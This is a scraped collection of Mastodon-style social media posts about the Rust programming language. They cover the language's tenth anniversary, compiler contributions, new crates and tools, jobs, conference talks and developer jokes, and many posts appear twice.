Looking for projects to contribute to to exercise the concepts I was learning, I started sending PRs to racer (an early auto complete library). While doing so, I remember getting a baffling compiler error message that took me half an hour to figure out. I didn't feel smart for eventually getting it, nor stupid for not getting it earlier. I felt annoyed because in my mental model the compiler had the information that I needed to understand what had happened and it just wasn't telling me. So I looked at the rust codebase. Which was written in Rust. And I changed that error. Very quicky realized that there was a lot of low hanging fruit to do useful work and that it was a great way of learning more of the language. There are several language features that I learned first from reading first how they were implemented! I was hooked, and have been involved ever since.
Today, 10 years after I first tried Rust, 9 years after I started contributing and 8 years since I became a member of the Compiler Team, I'm proud of the tiny part I've played in getting Rust where it is today, but I am elated by the tons of work that so many others have done, both big and small. Rust is what it is not due to any single individual, but because of every single person that has written a PR, filed a ticket, talked about it, and used it.
So, happy birthday Ferris, and thank you to everyone who got us here. Raise my glass to the next 10 years!
A drawing of a postcard addressed to Ferris, labeled 10 years of Rust, Rust Week 2025 with a drawing of Ferris the crab eating a pink cake with candles shaped like the number ten surrounded by balloons. Ferris' pincers and mouth are covered in frosting.
10 years ago a pipe dream from @graydon turned into reality.
Have you used `uv` already? It's pretty amazing, especially compared to the mess we had before!
I was curious how tools like that get built and asked @charliermarsh, CEO of Astral and long-time open-source maintainer, how they build better Python tooling with Rust.
The result is a deep-dive into designing robust CLI tools and the internals of `uv`.
Here is the link to the podcast episode: https://corrode.dev/podcast/s04e03-astral/
corrode.dev
Up until a few years ago, Python tooling was a nightmare: basic tasks like installing packages or managing Python versions was a pain. The tools were brittle and did not work well together. Then, suddenly, we saw a renaissance of new ideas in the Python ecosystem. It started with Poetry and pipx and continued with tooling written in Rust like rye, which later got incorporated into Astral. Astral in particular contributed a very important piece to the puzzle: uv – an extremely fast Python package and project manager that supersedes all previous attempts; For example, it is 10x-100x faster than pip.
The Rust 1.87 release process was just started on stage by @pietroalbini
#Rust #RustLang
A portrait of Pietro Albini smiling, holding a microphone, begging a big red button
The Rust 1.87 release process was just started on stage by @pietroalbini
#Rust #RustLang
A portrait of Pietro Albini smiling, holding a microphone, begging a big red button
My #RustLang experience started literally 10 years ago, when #Rust 1.0 came out. I'd been hearing about it for a while, it seemed interesting, and it sounded like a nice round number to jump in. The documentation was excellent, but applying those concepts in practice was harder than I anticipated, so I bounced out. Over the holidays that year I had a week off and decided to give it another chance. In the meantime, the tooling and documentatio had gotten better, and this time it stuck.
Looking for projects to contribute to to exercise the concepts I was learning, I started sending PRs to racer (an early auto complete library). While doing so, I remember getting a baffling compiler error message that took me half an hour to figure out. I didn't feel smart for eventually getting it, nor stupid for not getting it earlier. I felt annoyed because in my mental model the compiler had the information that I needed to understand what had happened and it just wasn't telling me. So I looked at the rust codebase. Which was written in Rust. And I changed that error. Very quicky realized that there was a lot of low hanging fruit to do useful work and that it was a great way of learning more of the language. There are several language features that I learned first from reading first how they were implemented! I was hooked, and have been involved ever since.
Today, 10 years after I first tried Rust, 9 years after I started contributing and 8 years since I became a member of the Compiler Team, I'm proud of the tiny part I've played in getting Rust where it is today, but I am elated by the tons of work that so many others have done, both big and small. Rust is what it is not due to any single individual, but because of every single person that has written a PR, filed a ticket, talked about it, and used it.
So, happy birthday Ferris, and thank you to everyone who got us here. Raise my glass to the next 10 years!
A drawing of a postcard addressed to Ferris, labeled 10 years of Rust, Rust Week 2025 with a drawing of Ferris the crab eating a pink cake with candles shaped like the number ten surrounded by balloons. Ferris' pincers and mouth are covered in frosting.
How messy is #terraform with #gcp?
I'm trying to make a system where #rust worker ingests data of HTTP requests via #cloudrun, and passes them into #bigtable, which uses further ingestion recipe to export the data into #bigquery
I have tried to make a complete terraform declaration for this, but got into permission issues, then I have tried to make a system that generates all the artefacts like service accounts and docker image and then refers to those from terraform builds, but I almost don't see a value of doing it like that.
Does anyone have an example of #cloudrun #cdc? I am new to this and I feel really slow.
Atwood's law: Any software that can be written in JavaScript will eventually be written in JavaScript.
The Atwood-Goodwin law: Any software that was re-written in JavaScript will eventually be re-re-written in Rust.
I spend my way to RustWeek with playing around on @fasterthanlime facet library and checking out if diesel might use it at some point. I started with setting up something to load values from the database. That seems to be possible, even with retaining most of the compile time checks performed by diesel. The given implementation at least would allow us to provide a (stripped down) replacement of derive(Queryable).
Rust source code showing a minimal diesel example in combination with the `Facet` derive
An error message from rustc saying that const-eval panicked with the message: Expect the same number of fields in your rust struct as in your query`
A rustc error message saying that const eval panicked with the error message: "Mismatching types expected"
please, instead of reading the blog post by someone getting "scared" by "rust's dependencies" after running some line count tool, read this more informative article instead
wiki.alopex.li
please, instead of reading the blog post by someone getting "scared" by "rust's dependencies" after running some line count tool, read this more informative article instead
wiki.alopex.li
Last weekend I published a fun little project that allows you to use the #Rust library #Ratatui to make a #TUI (Terminal UI) in #JavaScript/#TypeScript, via #WASM.
https://github.com/nfnitloop/ratatui-wasm-backend
That repo contains an example app, which you can easily run with #Deno, which keeps it entirely sandboxed from your system. Here's a quick screen recording:
https://asciinema.org/a/8Ljb2Tkp9SyujJpaDjMKBadGw
Let me know if you build anything fun with it. 😊
asciinema.org
Recorded by codyc
Last weekend I published a fun little project that allows you to use the #Rust library #Ratatui to make a #TUI (Terminal UI) in #JavaScript/#TypeScript, via #WASM.
https://github.com/nfnitloop/ratatui-wasm-backend
That repo contains an example app, which you can easily run with #Deno, which keeps it entirely sandboxed from your system. Here's a quick screen recording:
https://asciinema.org/a/8Ljb2Tkp9SyujJpaDjMKBadGw
Let me know if you build anything fun with it. 😊
asciinema.org
Recorded by codyc
Introducing kdlfmt: The Essential CLI Tool for KDL Document Formatting
The new kdlfmt CLI tool simplifies the formatting and validation of KDL (Kotlin Data Language) documents, making it an indispensable utility for developers working with this emerging data format. Buil...
https://news.lavx.hu/article/introducing-kdlfmt-the-essential-cli-tool-for-kdl-document-formatting
Introducing kdlfmt: The Essential CLI Tool for KDL Document Formatting
A Discord server and new GitHub organization for zizmor
https://blog.yossarian.net/2025/05/07/zizmor-discord-server-github-org
A Discord server and new GitHub organization for zizmor
https://blog.yossarian.net/2025/05/07/zizmor-discord-server-github-org
Ubuntu 的 sudo 換 sudo-rs 計畫
#corruption #linux #memory #overflow #rust #security #software #sudo #SudoRs #ubuntu
blog.gslin.org
Ubuntu 打算把 sudo 換成 Rust 版的 sudo-rs：「Adopting sudo-rs By Default in Ubuntu 25.10」。 找了 sudo 對應的 CVE：「Sudo Project : Products and vulnerabilities, CVEs」，不算多但 overflow 與 memory corruption 的確是 Rust 這邊能解決的強項。 後續其他大的 dist...
We unified the icons used for sidebar actions in rustdoc. Now it's time for burger button. =D
github.com
Part of #139832. The source sidebar looks like this with the new image: You can test it here. r? @notriddle
We unified the icons used for sidebar actions in rustdoc. Now it's time for burger button. =D
github.com
Part of #139832. The source sidebar looks like this with the new image: You can test it here. r? @notriddle
"Rust is hard" isn't helpful. I believe many take a harder learning route than necessary.
There are a few ways to flatten the curve: embrace the mental shift, take small steps, build intuition, let the type system guide you, etc.
https://corrode.dev/blog/flattening-rusts-learning-curve/
If you know someone who's struggling, perhaps this post can help.
corrode.dev
I see people make the same mistakes over and over again when learning Rust. Here are my thoughts (ordered by importance) on how you can ease the learning process. My goal is to help you save time and frustration. <…
my first ever pull request to the #rust language has been merged! 🎉
https://github.com/rust-lang/rust/pull/139608
it's a documentation change to clarify how async blocks behave in regards to control flow. there was only one requested change, so i did a pretty good job of matching the tone and style of the other docs.
it was really easy to contribute once i found out how to use x.py. strangely enough, there doesn't seem to be an enforced line length limit (at least not for this section of the docs) so i just matched what the surrounding text was doing.
coincidentally, the contributor who reviewed my code is the same person who made the papaya crate i reported a memory safety bug in a month or two ago.
my changes are scheduled to land in rust 1.88, which should release on the 26th of june!
github.com
Adds some documentation for control flow behaviour pertaining to return and ? within async blocks. Fixes (or at least improves) #101444. r? rust-lang/docs
my first ever pull request to the #rust language has been merged! 🎉
https://github.com/rust-lang/rust/pull/139608
it's a documentation change to clarify how async blocks behave in regards to control flow. there was only one requested change, so i did a pretty good job of matching the tone and style of the other docs.
it was really easy to contribute once i found out how to use x.py. strangely enough, there doesn't seem to be an enforced line length limit (at least not for this section of the docs) so i just matched what the surrounding text was doing.
coincidentally, the contributor who reviewed my code is the same person who made the papaya crate i reported a memory safety bug in a month or two ago.
my changes are scheduled to land in rust 1.88, which should release on the 26th of june!
github.com
Adds some documentation for control flow behaviour pertaining to return and ? within async blocks. Fixes (or at least improves) #101444. r? rust-lang/docs
"Rust is hard" isn't helpful. I believe many take a harder learning route than necessary.
There are a few ways to flatten the curve: embrace the mental shift, take small steps, build intuition, let the type system guide you, etc.
https://corrode.dev/blog/flattening-rusts-learning-curve/
If you know someone who's struggling, perhaps this post can help.
corrode.dev
I see people make the same mistakes over and over again when learning Rust. Here are my thoughts (ordered by importance) on how you can ease the learning process. My goal is to help you save time and frustration. <…
I'm tinkering a bit with command-line applications in #rust, and I'm kinda surprised that there doesn't seem to be a "full-stack" framework for them yet.
There are tons of good options to parse command-line arguments, but there's so much more I want my CLI to do. Features like error handling, logging and tracing, interactive & non-interactive modes, (optional) structured output, ...
Am I just missing something?
I'm tinkering a bit with command-line applications in #rust, and I'm kinda surprised that there doesn't seem to be a "full-stack" framework for them yet.
There are tons of good options to parse command-line arguments, but there's so much more I want my CLI to do. Features like error handling, logging and tracing, interactive & non-interactive modes, (optional) structured output, ...
Am I just missing something?
From Rust/Bevy to Unity: A dev's honest take on choosing the right tool. Team needs matter more than personal preferences.
#gamedev #rust #unity https://deadmoney.gg/news/articles/migrating-away-from-rust
deadmoney.gg
When I started building Architect of Ruin in December 2023 I chose to build it in the Bevy game engine. My choice was motivated by a pers...
I was looking for an alternative to classic shell scripts, so I timed a Hello World program in different languages for fun. I thought you might want to know:
1 ms - #Bash
1 ms - #Perl
12 ms - #Python
33 ms - #Go (shebang calling `go run`)
38 ms - #C (shebang compiling to temporary file)
61 ms - #Rust (shebang compiling to temporary file)
Needless to say that this is a highly unfair and silly comparison. It's still interesting, though.
Time to leave Mastodon?
In my very first post on Mastodon, I said that I am not into social media:
https://fosstodon.org/@mo8it/109384154924739934
But I wanted to give Mastodon a try since it is foss.
I had a wonderful time here. But at some point, I found it very frustrating how much non-RustLang content is on the #Rust hashtag. I tried to push the usage of the #RustLang hashtag but the campaign failed.
There is also an increased amount of bots and annoying Lemmy links.
1/2
fosstodon.org
I am not into social media, but lets try Mastodon ^^
From Rust/Bevy to Unity: A dev's honest take on choosing the right tool. Team needs matter more than personal preferences.
#gamedev #rust #unity https://deadmoney.gg/news/articles/migrating-away-from-rust
deadmoney.gg
When I started building Architect of Ruin in December 2023 I chose to build it in the Bevy game engine. My choice was motivated by a pers...
In this week's Developer Voices, Andrew Lamb takes us through #ApacheDataFusion, exploring how this #Rust toolkit shaves years off the prospect of creating a custom database. Fascinating stuff for any data and architecture fans like me. 😁
youtube.com
Building a database is a serious undertaking. There are just so many parts that you have to implement before you even get to a decent prototype, and so many ...
I'm currently looking for a remote software development job
I have plenty of experience making software using all sorts of languages, frameworks and tools. Tho I have the most experience with Rust, C++, C#. I also usually do native cross platform applications and backend.
You can find my full CV on my website https://luna.graphics
#GetFediHired #JobSearch #RemoteWork #Rust #Rustlang #CPP #CSharp #Backend
luna.graphics
deno-ast has a tagged version that don't compile, which is used by rustyscript in one of it's default features.
How the fuck do you let this happen ???
I don't necessarily blame rustyscript here since it merely use deno and it's easy to let this kind of bug slide into your project...
But deno? Hello ? Why are you tagging code that don't compile ???
Rust's very expected feature "let chain" stabilization PR for the 2024 edition was just merged! So in 12 weeks, it'll be available in the 1.88 version!
github.com
Stabilization report This proposes the stabilization of let_chains (tracking issue, RFC 2497) in the 2024 edition of Rust. What is being stabilized The ability to &&-chain let statements in...
Rust's very expected feature "let chain" stabilization PR for the 2024 edition was just merged! So in 12 weeks, it'll be available in the 1.88 version!
github.com
Stabilization report This proposes the stabilization of let_chains (tracking issue, RFC 2497) in the 2024 edition of Rust. What is being stabilized The ability to &&-chain let statements in...
Hey guys, I'm not so #newhere but I wanted to change my username, kind of reboot of my cortex implant.
introduction
Here are some stuff about me:
;
#python #bash #cpp #rust What is HardTech?
Hardtech is a #scifi project I have: a scifi documentation website; a website that describes in details fictional technologies. A kind of user manual for a spacecraft/space station.
The aesthetics are rusty, unsafe, industrial. You must see wires in the spaceships/space station, you must not feel safe when you're on board. Main colors are various orange and black.
Hardtech is LowTech
Why? Because HardTech needs to know technologies in details to make them understandable for other people, but needs to stay technical and cryptic enough to keep the sense of wonder.
I hope you will enjoy.
"Usenet Reborn" is an Usenet and NNTP TUI client in Rust language, in alpha stage!
- https://sr.ht/~rek2/Usenet_Reborn/
Now that I have a 1.0.1 released for my #NNTP library called "rek2_nntp" https://crates.io/crates/rek2_nntp was able to go ahead and get "Usenet Reborn" client in a usable stage a brand new #usenet client in #TUI format using the #ratatui #rust #libs not a rust expert so patches are WELLCOME to both projects! #hackers #hackerculture #decentralization
"Usenet Reborn" is an Usenet and NNTP TUI client in Rust language, in alpha stage!
- https://sr.ht/~rek2/Usenet_Reborn/
Now that I have a 1.0.1 released for my #NNTP library called "rek2_nntp" https://crates.io/crates/rek2_nntp was able to go ahead and get "Usenet Reborn" client in a usable stage a brand new #usenet client in #TUI format using the #ratatui #rust #libs not a rust expert so patches are WELLCOME to both projects! #hackers #hackerculture #decentralization
Finalmente consegui usar o marmite em um projeto, já aproveitei e reescrevi um projeto de shell para rust
github.com
Contribute to enieber/today development by creating an account on GitHub.
My Easter treat has been to work on my silly hosted-at-home retro website. It now features actual content, animated GIFs, and photos of pineapples!
There's a few dynamic pages under cgi-bin, although they are not actually CGI scripts—they are generated by a Rust program. The dynamic content includes live energy stats, climate info, and memory & uptime info. I still want to fill out the content some more, but I also need to do other things.
Screenshot of my retro themed website, "Wes' Nonsense Website", open in IE4 on Mac OS 8.1. There's a happy sun animated GIF at the top of the page and a menu of links to Computers, Calculators, Pineapples, and Sunshine Coast. Under that is a News section and live energy stats about the server.
My Easter treat has been to work on my silly hosted-at-home retro website. It now features actual content, animated GIFs, and photos of pineapples!
There's a few dynamic pages under cgi-bin, although they are not actually CGI scripts—they are generated by a Rust program. The dynamic content includes live energy stats, climate info, and memory & uptime info. I still want to fill out the content some more, but I also need to do other things.
Screenshot of my retro themed website, "Wes' Nonsense Website", open in IE4 on Mac OS 8.1. There's a happy sun animated GIF at the top of the page and a menu of links to Computers, Calculators, Pineapples, and Sunshine Coast. Under that is a News section and live energy stats about the server.
Today my #rust compiler told me "expected future, found a different future".
And I'm like: me too buddy, me too
Yay 🥳 !
#RDF N-Triples 1.1 and 1.2 and #Turtle 1.1 syntax test suites run from their official manifests, with my self-written #Rust test runner for RDF test case manfiests based on my RDF Graph ORM!
Thanks to @codecraft for work on the internal API and @epage for support with the #winnow parser library.
Screenshot of a terminal window. First, a list of some tests that were run successfully, concluded by the line: test result: ok. 251 passed; 0 failed; 145 ignored; 0 measured; 0 filtered out; finished in 0.01s
I think I finally have this thing complete - the paper is live hosted on a little test node, also lives as README.md on the GitHub.
https://idens.net/iden://z1HRUsTNcYMkN5WPm9s1YjGaLUVs58RVRHPjBrV1kYwdAJ.642/pub
#P2P #distributed #text #smallweb #markdown #data #linkeddata #python #rust #rustlang #linux #unix #longread #code #opensource #helloworld #federation #peer2peer #peerreview #writing
idens.net
IDEN is a lightweight decentralized identity and publishing platform. It provides a small, efficient foundation for building distributed, coordinated systems around self-generated identities. An `iden` serves as a portable, public address—readable by anyone, writable only by its owner. At its cor...
Yay 🥳 !
#RDF N-Triples 1.1 and 1.2 and #Turtle 1.1 syntax test suites run from their official manifests, with my self-written #Rust test runner for RDF test case manfiests based on my RDF Graph ORM!
Thanks to @codecraft for work on the internal API and @epage for support with the #winnow parser library.
Screenshot of a terminal window. First, a list of some tests that were run successfully, concluded by the line: test result: ok. 251 passed; 0 failed; 145 ignored; 0 measured; 0 filtered out; finished in 0.01s
Today my #rust compiler told me "expected future, found a different future".
And I'm like: me too buddy, me too
.@FLOSS_Weekly EP 829: THIS MACHINE KILLS VOGONS - @herberticus & Frank joined @JP_Bennett to chat about @mtaht's legacy, #bufferbloat, #LibreQoS, #Starlink & #SpaceX, #OpenWrt and MORE! cc @hackaday
https://hackaday.com/2025/04/16/floss-weekly-episode-829-this-machine-kills-vogons/
#DaveTaht #RFC8290 #FLOSS #BandwidthIsALIE #FQ_CoDel
#sch_CAKE #OpenSource #FLOSSWeekly #Hackaday FQCoDel #schCAKE #latency #jitter #Linux #Rust #RustLang #LinuxKernel #WiFi #broadband #QoE #QoS #QualityOfExperience #QualityOfService
Today my #rust compiler told me "expected future, found a different future".
And I'm like: me too buddy, me too
Today my #rust compiler told me "expected future, found a different future".
And I'm like: me too buddy, me too
#Rust home page is rust-lang.org and people keep calling it Rust.
#Kotlin home page is kotlinlang.org, and people keep calling it Kotlin.
#Ruby home page is ruby-lang.org and, guess what? people keep calling it Ruby.
Why on Earth Go programmers feel compelled to call their preferred programming language adding a -lang suffix is a mystery to me.
Today my #rust compiler told me "expected future, found a different future".
And I'm like: me too buddy, me too
One thing I will say about Rust, is that simply learning it has made me a better programmer. Similar to how a static-typed language teaches its users concepts about types, (which you may take for granted if you learned programming with Java and have never met a python developer,) Rust has taught me a lot of concepts related to memory safety and concurrency simply from using it to write software.
One thing I will say about Rust, is that simply learning it has made me a better programmer. Similar to how a static-typed language teaches its users concepts about types, (which you may take for granted if you learned programming with Java and have never met a python developer,) Rust has taught me a lot of concepts related to memory safety and concurrency simply from using it to write software.
Decided to write a tutorial..ish..thing? on "#async #Rust beyond just the `async fn`". A short post turned into a way too long one turned into the start of a series... but at least it's a beginning.
natkr.com
There are a lot of guides about how to use async Rust from a "user's perspective", but I think it's also worth understanding how it works, what those async blocks actually mean. Why you get all those weird pinning errors.
hell yeeeaahhh k23 finally has working host functions!!!!!!!
this means we can finally execute useful #wasm including running the test suites!
a screenshot of the k23 debuglog showing a “hello world from hostfunc” message
hell yeeeaahhh k23 finally has working host functions!!!!!!!
this means we can finally execute useful #wasm including running the test suites!
a screenshot of the k23 debuglog showing a “hello world from hostfunc” message
As a solo dev, I'm very proud of my little project I've been working on, and I'd like to introduce to everyone: GekkoVPN! My cheap VPN solution :D
Fully European built, maintained and hosted. So no American Overlords!
Go check it out for yourself
https://gekkovpn.eu
#PortfolioDay #VPN #europe #startups #solodev #rust #tauri #nextjs
Oh, and shoot me a message if you do want to check it out for a lovely 50% discount :D
GekkoVPN main desktop application, able to connect to GekkoVPN servers
IPv4 lookup on whatismyipaddress.com to show that it actually works!
has anyone coaxed the #rp2350 into using PSRAM with embassy-rs? I couldn't find an obvious example in my searches this morning. I did find some arduino startup code that I can probably translate and adapt, but if someone has already done the heavy lifting, that would save me some effort! #rust #embeddedrust #rustembedded #pico2
Just added new methods in the proc-macro library on the Literal type:
![Screenshot showing a part of ranking od program min languages. Scratch is at 17th position with ranking od 1.06% and rust is at 18th position (1.01%]](https://files.mastodon.social/media_attachments/files/114/897/252/281/450/694/original/39a846899e12ac00.png)
str_valuecstr_valuebyte_str_valueHopefully it should help to unescape literals when manipulating proc-macro tokens. No need to do it in external crates anymore.
github.com
This is the (re-)implementation of rust-lang/libs-team#459. It allows to get the actual value (unescaped) of the different string literals. It was originally done in #136355 but it broke the artifa...
Just added new methods in the proc-macro library on the Literal type:
str_valuecstr_valuebyte_str_valueHopefully it should help to unescape literals when manipulating proc-macro tokens. No need to do it in external crates anymore.
github.com
This is the (re-)implementation of rust-lang/libs-team#459. It allows to get the actual value (unescaped) of the different string literals. It was originally done in #136355 but it broke the artifa...
Please help me : I've seen not too long ago a blog post about type oriented programming in #rust #rustlang but I can't find it in my browser history 😥 . Can't remember if it was new or a repost, neither if I saw it here or on reddit ... ( if you have nice introductory articles on this subject keep them flowing even if they are not the one I'm looking for)
I practiced some async Rust code today with Tokio. The idea was to download 10 images using async functions and have graceful shutdown, cancellation and timeout.
I tried using tokio select!, channels and my Go knowledge but it's much harder to do what I want than I anticipated.
This is my code:
pastebin.com
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
Sigh, I think I might have to switch away from #VisusalStudioCode. Seems the only stuff they work on is #AI, to the detriment of everything else.
Shall I move back to #vim? Or rather #neovim. Do I still have the patience to configure that just the way I like it?
I could also try out that newfangled #zed editor that is getting all the hype these days.
One must-have feature is it having good vim keybindings though, I'm lost without them.
#SoftwareDevelopment #golang #rustlang #rust
Due to a misbehaving crawler taking down docs.rs three times, we now added rate limiting.
This shouldn't impact any normal user, we're happy to talk if this affects you.
Officially we follow the crates.io data policy, so crawlers should be limited to 1 request per second. Until now we didn't validate / limit that and relied on the sanity of the crawlers.
Looks like a cool job: https://typst.app/jobs/ @faassen aren't you looking for an interesting #Rust challenge? Don't know whether they can pay you, but it sounds like fun.
typst.app
Want to join our team? Browse our open positions and apply now.
#rust 1.86.0 has released, with my first contributions stabilized!
blog.rust-lang.org
Empowering everyone to build reliable and efficient software.
Rust is memory safe... but that doesn't mean there a no pitfalls!
Here are a bunch of things you should look out for in production code:
corrode.dev
When people say Rust is a “safe language”, they often mean memory safety. And while memory safety is a great start, it’s far from all it takes to build robust applications. Memory safety is important but not sufficient for overall r…
Rust is memory safe... but that doesn't mean there a no pitfalls!
Here are a bunch of things you should look out for in production code:
corrode.dev
When people say Rust is a “safe language”, they often mean memory safety. And while memory safety is a great start, it’s far from all it takes to build robust applications. Memory safety is important but not sufficient for overall r…
my final project as part of my tenure at Microsoft, aside from that NPM patch (lol), is this lil' guy: https://github.com/microsoft/libsyncrpc
Just a small, but v v fast IPC lib that lets you make synchronous calls to a child process from node, while the child can execute callbacks from you before you return.
I optimized the everloving shit out of this thing, and it ended up being fast enough that the #TypeScript team will be able to use it for the thing that will let you use the Go typescript compiler from JS: you'll just be calling out directly to a Go child.
Literally hundreds of thousands of ops/s :)
github.com
synchronous RPC communication with callbacks for Node.js - microsoft/libsyncrpc
Package Manager for Markdown
I'm working on a project that is intended to encourage folk to make markdown text files which can be bundled together in different bundles of text files using a package manager.
Question for coders; Which package manager would you suggest I use?
Main criterias (in order) are:
1. Easy for someone with basic command line skills to edit the file and update version numbers and add additional packages.
2. All being equal, more commonly and easy to setup is preferred.
#Markdown #CommonMark #PackageManager #Programming #Dev
#NPM #RubyGems #Cargo #PickingAMastodonInstance
#Ruby #Python #Rust #Javascript #NodeJs #Lisp #CommonGuide
my final project as part of my tenure at Microsoft, aside from that NPM patch (lol), is this lil' guy: https://github.com/microsoft/libsyncrpc
Just a small, but v v fast IPC lib that lets you make synchronous calls to a child process from node, while the child can execute callbacks from you before you return.
I optimized the everloving shit out of this thing, and it ended up being fast enough that the #TypeScript team will be able to use it for the thing that will let you use the Go typescript compiler from JS: you'll just be calling out directly to a Go child.
Literally hundreds of thousands of ops/s :)
github.com
synchronous RPC communication with callbacks for Node.js - microsoft/libsyncrpc
Alright!
I just released a first functional version of a new crate:
🔧 test-dsl at 0.1.0
🦀 https://github.com/TheNeikos/test-dsl/
To paraphrase the readme: test-dsl allows you to easily author tests by decoupling between the 'test harness', 'verbs' and 'conditions'.
It's role in your testing infra would be as boilerplate reduction, so that you can focus on just writing tests around the behaviour of your system. I'm using this pattern for example in a client-server context. So I have verbs like start_server 1, start_client 2, connect_client 2 1 etc...
Of course the meaning of these verbs is highly project-specific.
If a verb does fail, either by panicking or returning an error, you get a nice error output telling you exactly which file and which verb caused the error. Allowing you to more easily pin-point directly what went wrong, rather than potentially searching through a log.
It works great together with datatest-stable from the nextest project, but it works just as fine standalone.
It uses #KDL as the language to write your testcases in, so its fairly nice to read.
It's still missing more comprehensive documentation, but as a prototype it should work just fine!
It actually sprung out from having used this pattern a few times, and I didn't want to re-write the boilerplate around it, and maybe re-use some code between projects.
github.com
Contribute to TheNeikos/test-dsl development by creating an account on GitHub.
Presenting myself: Comp Sci bachelor in 2018, then Scala dev. Then #rust dev. mostly on #bevy, both contrib and 3rd party contracting. Culminating with my presentation of compressed datastructures at #rustfest 2024 Zurich.
Today, honestly, I've no idea who I am or what I do. Trying to find a place in the world where I can have a positive impact.
Alright!
I just released a first functional version of a new crate:
🔧 test-dsl at 0.1.0
🦀 https://github.com/TheNeikos/test-dsl/
To paraphrase the readme: test-dsl allows you to easily author tests by decoupling between the 'test harness', 'verbs' and 'conditions'.
It's role in your testing infra would be as boilerplate reduction, so that you can focus on just writing tests around the behaviour of your system. I'm using this pattern for example in a client-server context. So I have verbs like start_server 1, start_client 2, connect_client 2 1 etc...
Of course the meaning of these verbs is highly project-specific.
If a verb does fail, either by panicking or returning an error, you get a nice error output telling you exactly which file and which verb caused the error. Allowing you to more easily pin-point directly what went wrong, rather than potentially searching through a log.
It works great together with datatest-stable from the nextest project, but it works just as fine standalone.
It uses #KDL as the language to write your testcases in, so its fairly nice to read.
It's still missing more comprehensive documentation, but as a prototype it should work just fine!
It actually sprung out from having used this pattern a few times, and I didn't want to re-write the boilerplate around it, and maybe re-use some code between projects.
github.com
Contribute to TheNeikos/test-dsl development by creating an account on GitHub.
wasmVision 0.3.0 is out! We have some exiting new features for you such as MCP server support, and experimental GPU acceleration for vision models. Performance and stability improvements too. Go get it right now!
#wasm #computervision #opencv #golang #tinygo #rust #clang #mcp #cuda
https://github.com/wasmvision/wasmvision/releases/tag/v0.3.0
What's Changed fix: add missing blurc processor from list of known processors by @deadprogram in #49 modules: update wazero to version 1.9 by @deadprogram in #50 all: update to use Go 1.24.1 by @d...
wasmVision 0.3.0 is out! We have some exiting new features for you such as MCP server support, and experimental GPU acceleration for vision models. Performance and stability improvements too. Go get it right now!
#wasm #computervision #opencv #golang #tinygo #rust #clang #mcp #cuda
https://github.com/wasmvision/wasmvision/releases/tag/v0.3.0
What's Changed fix: add missing blurc processor from list of known processors by @deadprogram in #49 modules: update wazero to version 1.9 by @deadprogram in #50 all: update to use Go 1.24.1 by @d...
Developing a WebRTC SFU library in Rust | by h3poteto | Mar, 2025 | Medium : 👀
---
https://medium.com/@h3poteto/developing-a-webrtc-sfu-library-in-rust-019d467ab6c1
medium.com
If you’re working with WebRTC, you’ve probably heard of Selective Forwarding Units (SFUs). There are solid open-source SFUs out there…
My team at Polytechnic Institute of Paris/Télécom #Paris school of engineering is looking for a research engineer to conduct development and empirical experiments in various fields, including: #software #security and #SoftwareEngineering.
Programming skills in #Rust are particularly welcome, but we are polyglots and would also welcome #C/#Java/#OCaml developers 😉
Permanent position (French "CDI"), on site in the south of Paris.
Full job description at: https://institutminestelecom.recruitee.com/l/en/o/ingenieure-ou-ingenieur-de-recherche-en-informatique
institutminestelecom.recruitee.com
Who we are ?Télécom Paris, part of the IMT (Institut Mines-Télécom) and a founding member of the Institut Polytechnique de Paris, is one of France's top 5 general engineering schools.The mainspring of
My team at Polytechnic Institute of Paris/Télécom #Paris school of engineering is looking for a research engineer to conduct development and empirical experiments in various fields, including: #software #security and #SoftwareEngineering.
Programming skills in #Rust are particularly welcome, but we are polyglots and would also welcome #C/#Java/#OCaml developers 😉
Permanent position (French "CDI"), on site in the south of Paris.
Full job description at: https://institutminestelecom.recruitee.com/l/en/o/ingenieure-ou-ingenieur-de-recherche-en-informatique
institutminestelecom.recruitee.com
Who we are ?Télécom Paris, part of the IMT (Institut Mines-Télécom) and a founding member of the Institut Polytechnique de Paris, is one of France's top 5 general engineering schools.The mainspring of
Super excited to present my OS research at #wasmio25 in just 2 days!
For two years I’ve been working on a massively concurrent, highly reliable operating system ( using #wasm written from scratch in #rust ) for the 21st century!
stop by it will be great!
https://2025.wasm.io/sessions/smarter-operating-systems-will-use-wasm-the-coming-os-revolution/
2025.wasm.io
Smarter Operating Systems Will Use Wasm - The Coming OS Revolution • Wasm I/O 2025. A 2-day WebAssembly conference in Barcelona, Spain
Super excited to present my OS research at #wasmio25 in just 2 days!
For two years I’ve been working on a massively concurrent, highly reliable operating system ( using #wasm written from scratch in #rust ) for the 21st century!
stop by it will be great!
https://2025.wasm.io/sessions/smarter-operating-systems-will-use-wasm-the-coming-os-revolution/
2025.wasm.io
Smarter Operating Systems Will Use Wasm - The Coming OS Revolution • Wasm I/O 2025. A 2-day WebAssembly conference in Barcelona, Spain
Apparently, #swc uses #miette now too: https://github.com/zkat/miette/issues/429
github.com
Usecase: swc-project/swc#10253 (review) Hi! I'm creator of the SWC project, and I'm using miette so well. So I want to say thank you first! I'm trying to use the snippet formatting of miette for a ...
An underappreciated feature of #rust is that Rust code found in the wild is very much likely to work and is of good quality. The crate doesn't have to be super mature!
My experience with #rust code in the wild is much much better than JS or python code which is not suprising if you think about it. Programmers coding in
"hard" languages generally write better code? Perhaps same thing is with #Haskell and #TexLatex ?
When I first learned #GoLang #Go I remember not being happy about the lack of exceptions and always checking the error returns. I never got over it. I’m not a Go user and don’t really know it currently. But now I am a #RustLang #Rust user and learner. Rust works in a very similar way. Yes, I was skeptical at first (and said so here) but now I’m okay with it. Options and Results make sense.
Maybe I just didn’t give Go a fair shake?
Imagine if every time you checked a #Rust Result for an error, you did that by making a cute kitty sound
This is what’s coming and I’m not even kidding
I've been developing a MQTT GUI client called MQTTy (the name is not very original but I needed the word MQTT in it). That will help me and hopefully help others, to develop, test and debug their IoT applications that utilizes the MQTT protocol.
It's written in Rust, completely free software, licensed under the terms of GPL 3.0 or later versions.
Currently the app does not hit the MVP stage, so there is a lot of work to do to reach it.
@jet what happened to #stopify?
I roll out custom implementations based on #stripe left and right.
It's quite easy with #rust, #specta and #typescript.
Here is a fresh generic ecommerce demo where I was learning #vike for frontend – https://github.com/cognivore/thegoodshop
Feel free to fork and run with it ♥️
github.com
Contribute to cognivore/thegoodshop development by creating an account on GitHub.
The Rust crate Askama (used to make jinja rendering) 0.13.0-pre.0 version just got released. Rinja and Askama are now one again.
More explanations on this blog post.
Blog of Guillaume Gomez (Askama and Rinja merge)
